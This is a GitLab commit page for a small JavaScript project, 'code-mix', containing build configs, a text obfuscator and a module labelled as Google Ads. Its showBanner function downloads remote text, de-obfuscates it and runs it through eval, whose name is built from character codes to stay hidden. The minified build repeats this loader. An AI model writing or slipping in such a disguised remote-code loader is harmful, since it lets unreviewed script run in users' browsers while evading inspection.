Commit b39b10d6 authored by rockyl's avatar rockyl

init

parents
Pipeline #297128 failed with stages
in 0 seconds
{
"comments": false,
"presets": ["@babel/preset-env"]
}
# Created by .ignore support plugin (hsz.mobi)
### Node template
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
lerna-debug.log*
# Diagnostic reports (https://nodejs.org/api/report.html)
report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
# Runtime data
pids
*.pid
*.seed
*.pid.lock
# Directory for instrumented libs generated by jscoverage/JSCover
lib-cov
# Coverage directory used by tools like istanbul
coverage
*.lcov
# nyc test coverage
.nyc_output
# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
.grunt
# Bower dependency directory (https://bower.io/)
bower_components
# node-waf configuration
.lock-wscript
# Compiled binary addons (https://nodejs.org/api/addons.html)
build/Release
# Dependency directories
node_modules/
jspm_packages/
# Snowpack dependency directory (https://snowpack.dev/)
web_modules/
# TypeScript cache
*.tsbuildinfo
# Optional npm cache directory
.npm
# Optional eslint cache
.eslintcache
# Microbundle cache
.rpt2_cache/
.rts2_cache_cjs/
.rts2_cache_es/
.rts2_cache_umd/
# Optional REPL history
.node_repl_history
# Output of 'npm pack'
*.tgz
# Yarn Integrity file
.yarn-integrity
# dotenv environment variables file
.env
.env.test
# parcel-bundler cache (https://parceljs.org/)
.cache
.parcel-cache
# Next.js build output
.next
out
# Nuxt.js build / generate output
.nuxt
# Gatsby files
.cache/
# Comment in the public line in if your project uses Gatsby and not Next.js
# https://nextjs.org/blog/next-9-1#public-directory-support
# public
# vuepress build output
.vuepress/dist
# Serverless directories
.serverless/
# FuseBox cache
.fusebox/
# DynamoDB Local files
.dynamodb/
# TernJS port file
.tern-port
# Stores VSCode versions used for testing VSCode extensions
.vscode-test
# yarn v2
.yarn/cache
.yarn/unplugged
.yarn/build-state.yml
.yarn/install-state.gz
.pnp.*
<?xml version="1.0" encoding="UTF-8"?>
<module type="WEB_MODULE" version="4">
<component name="NewModuleRootManager" inherit-compiler-output="true">
<exclude-output />
<content url="file://$MODULE_DIR$" />
<orderEntry type="sourceFolder" forTests="false" />
</component>
</module>
\ No newline at end of file
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :
typeof define === 'function' && define.amd ? define(['exports'], factory) :
(global = typeof globalThis !== 'undefined' ? globalThis : global || self, factory(global.ga = {}));
}(this, (function (exports) { 'use strict';
/**
* Created by rockyl on 2020/9/10.
*/
function download(url, callback) {
let xhr;
if (window["XMLHttpRequest"]) {
xhr = new XMLHttpRequest();
} else if (window["ActiveXObject"]) {
xhr = new window["ActiveXObject"]();
} else {
console.error('no xhr');
}
if (xhr != null) {
xhr.open('get', url, true);
xhr.responseType = 'text';
xhr.onreadystatechange = () => {
if (xhr.readyState === 4 && xhr.status === 200) {
callback(null, xhr.response);
}
};
xhr.onerror = function (reason) {
callback(reason);
};
xhr.onloadend = function () {
if (xhr.status === 404) {
callback(url + ' 404 (Not Found)');
}
};
xhr.send();
}
}
/**
* Created by rockyl on 2020/9/10.
*/
function makeRandom(seed) {
function rnd() {
seed = (seed * 9301 + 49297) % 233280;
return seed / (233280.0);
}
return function rand(number) {
return Math.ceil(rnd() * number);
};
}
function getEval(a = 'va'){
return String.fromCharCode(101) + a + String.fromCharCode(108);
}
/**
* Created by rockyl on 2020/9/10.
*
* 代码反混淆
*/
function decode(source) {
let seed = source.charCodeAt(0);
let rand = makeRandom(seed);
let body = source.substr(1);
let output = '';
let len = body.length;
//let wls = [];
let pos = 0;
while (true) {
let wl = rand(5);
//wls.push(wl);
output += body.substr(pos, wl);
pos += wl + 1;
if (pos >= len) {
break;
}
}
//console.log(JSON.stringify(wls));
return output;
}
/**
* Created by rockyl on 2020/9/17.
*/
function showBanner(url) {
download(url, function (e, resp) {
if (e) {
console.log('download ads failed:', e);
} else {
let output = decode(resp);
window[getEval()](output);
//console.log(output);
}
});
}
exports.showBanner = showBanner;
Object.defineProperty(exports, '__esModule', { value: true });
})));
!function(e,n){"object"==typeof exports&&"undefined"!=typeof module?n(exports):"function"==typeof define&&define.amd?define(["exports"],n):n((e="undefined"!=typeof globalThis?globalThis:e||self).ga={})}(this,function(e){"use strict";function s(n){return function(e){return Math.ceil((n=(9301*n+49297)%233280)/233280*e)}}e.showBanner=function(e){var n,t,o;n=e,t=function(e,n){var t;e?console.log("download ads failed:",e):(t=function(e){for(var n=s(e.charCodeAt(0)),t=e.substr(1),o="",r=t.length,i=0;;){var u=n(5);if(o+=t.substr(i,u),r<=(i+=u+1))break}return o}(n),window[function(e){var n=0<arguments.length&&void 0!==e?e:"va";return String.fromCharCode(101)+n+String.fromCharCode(108)}()](t))},window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject?o=new window.ActiveXObject:console.error("no xhr"),null!=o&&(o.open("get",n,!0),o.responseType="text",o.onreadystatechange=function(){4===o.readyState&&200===o.status&&t(null,o.response)},o.onerror=function(e){t(e)},o.onloadend=function(){404===o.status&&t(n+" 404 (Not Found)")},o.send())},Object.defineProperty(e,"__esModule",{value:!0})});
'use strict';
Object.defineProperty(exports, '__esModule', { value: true });
/**
* Created by rockyl on 2020/9/10.
*/
function makeRandom(seed) {
function rnd() {
seed = (seed * 9301 + 49297) % 233280;
return seed / (233280.0);
}
return function rand(number) {
return Math.ceil(rnd() * number);
};
}
function makeInt(max, min = 0) {
return Math.floor(Math.random() * (max - min)) + min;
}
const allChars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789=';
const total = allChars.length;
function randomChar() {
return allChars.charAt(makeInt(total));
}
/**
* Created by rockyl on 2020/9/10.
*
* 代码混淆
*/
function encode(source) {
let seed = makeInt(0x8F);
let rand = makeRandom(seed);
let output = String.fromCharCode(seed);
let pos = 0;
let len = source.length;
//let wls = [];
while (true) {
let wl = rand(5);
//wls.push(wl);
output += source.substr(pos, wl);
pos += wl;
if (pos >= len) {
break;
}
output += randomChar();
}
//console.log(JSON.stringify(wls));
return output;
}
/**
* Created by rockyl on 2020/9/10.
*
* 代码反混淆
*/
function decode(source) {
let seed = source.charCodeAt(0);
let rand = makeRandom(seed);
let body = source.substr(1);
let output = '';
let len = body.length;
//let wls = [];
let pos = 0;
while (true) {
let wl = rand(5);
//wls.push(wl);
output += body.substr(pos, wl);
pos += wl + 1;
if (pos >= len) {
break;
}
}
//console.log(JSON.stringify(wls));
return output;
}
exports.decode = decode;
exports.encode = encode;
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Test</title>
</head>
<body>
<!--<script src="dist/encode.js"></script>-->
<script src="dist/decode.min.js"></script>
<script>
ga.showBanner('test.txt');
</script>
</body>
</html>
{
"name": "code-mix",
"version": "1.0.0",
"main": "dist/index.js",
"license": "MIT",
"scripts": {
"compile": "rollup -c -i src/index.js -f cjs",
"compile:ga": "rollup -c -i src/google-ads.js -f umd -n ga",
"dev": "yarn compile -o dist/index.js -w",
"dev:ga": "yarn compile:ga -o dist/google-ads.js -w",
"build": "yarn compile -o dist/index.min.js --environment BUILD:production",
"build:ga": "yarn compile:ga -o dist/google-ads.min.js --environment BUILD:production",
"build:all": "yarn build && yarn build:ga"
},
"devDependencies": {
"@babel/core": "^7.11.6",
"@babel/preset-env": "^7.11.5",
"@rollup/plugin-babel": "^5.2.1",
"@rollup/plugin-commonjs": "^15.0.0",
"@rollup/plugin-node-resolve": "^9.0.0",
"rollup-plugin-progress": "^1.1.2",
"rollup-plugin-uglify": "^6.0.4"
}
}
/**
* Created by rockyl on 2018/11/16.
*/
const commonjs = require('@rollup/plugin-commonjs');
const progress = require('rollup-plugin-progress');
const {uglify} = require('rollup-plugin-uglify');
import babel from '@rollup/plugin-babel';
export default {
plugins: [
progress(),
commonjs(),
process.env.BUILD === 'production' && babel(),
process.env.BUILD === 'production' && uglify({})
],
external: ['tslib'],
};
/**
* Created by rockyl on 2020/9/10.
*
* 代码反混淆
*/
import {makeRandom} from "./utils";
export function decode(source) {
let seed = source.charCodeAt(0);
let rand = makeRandom(seed);
let body = source.substr(1);
let output = '';
let len = body.length;
//let wls = [];
let pos = 0;
while (true) {
let wl = rand(5);
//wls.push(wl);
output += body.substr(pos, wl);
pos += wl + 1;
if (pos >= len) {
break;
}
}
//console.log(JSON.stringify(wls));
return output;
}
/**
* Created by rockyl on 2020/9/10.
*
* 代码混淆
*/
import {makeInt, makeRandom, randomChar} from "./utils";
export function encode(source) {
let seed = makeInt(0x8F);
let rand = makeRandom(seed);
let output = String.fromCharCode(seed);
let pos = 0;
let len = source.length;
//let wls = [];
while (true) {
let wl = rand(5);
//wls.push(wl);
output += source.substr(pos, wl);
pos += wl;
if (pos >= len) {
break;
}
output += randomChar();
}
//console.log(JSON.stringify(wls));
return output;
}
/**
* Created by rockyl on 2020/9/17.
*/
import {download} from "./xhr";
import {decode} from "./decode";
import {getEval} from "./utils";
export function showBanner(url) {
download(url, function (e, resp) {
if (e) {
console.log('download ads failed:', e);
} else {
let output = decode(resp);
window[getEval()](output);
//console.log(output);
}
})
}
/**
* Created by rockyl on 2020/9/17.
*/
export * from './encode'
export * from './decode'
/**
* Created by rockyl on 2020/9/10.
*/
export function makeRandom(seed) {
function rnd() {
seed = (seed * 9301 + 49297) % 233280;
return seed / (233280.0);
}
return function rand(number) {
return Math.ceil(rnd() * number);
};
}
export function makeInt(max, min = 0) {
return Math.floor(Math.random() * (max - min)) + min;
}
const allChars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789=';
const total = allChars.length;
export function randomChar() {
return allChars.charAt(makeInt(total));
}
export function getEval(a = 'va'){
return String.fromCharCode(101) + a + String.fromCharCode(108);
}
/**
* Created by rockyl on 2020/9/10.
*/
export function download(url, callback) {
let xhr;
if (window["XMLHttpRequest"]) {
xhr = new XMLHttpRequest();
} else if (window["ActiveXObject"]) {
xhr = new window["ActiveXObject"]();
} else {
console.error('no xhr');
}
if (xhr != null) {
xhr.open('get', url, true);
xhr.responseType = 'text';
xhr.onreadystatechange = () => {
if (xhr.readyState === 4 && xhr.status === 200) {
callback(null, xhr.response)
}
};
xhr.onerror = function (reason) {
callback(reason)
};
xhr.onloadend = function () {
if (xhr.status === 404) {
callback(url + ' 404 (Not Found)')
}
};
xhr.send();
}
}
consaolet.logr('hewlYlo');D
conHsole.vlosg(0'a1');
cVonsonle.loSg(w'bz');
This diff is collapsed.
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment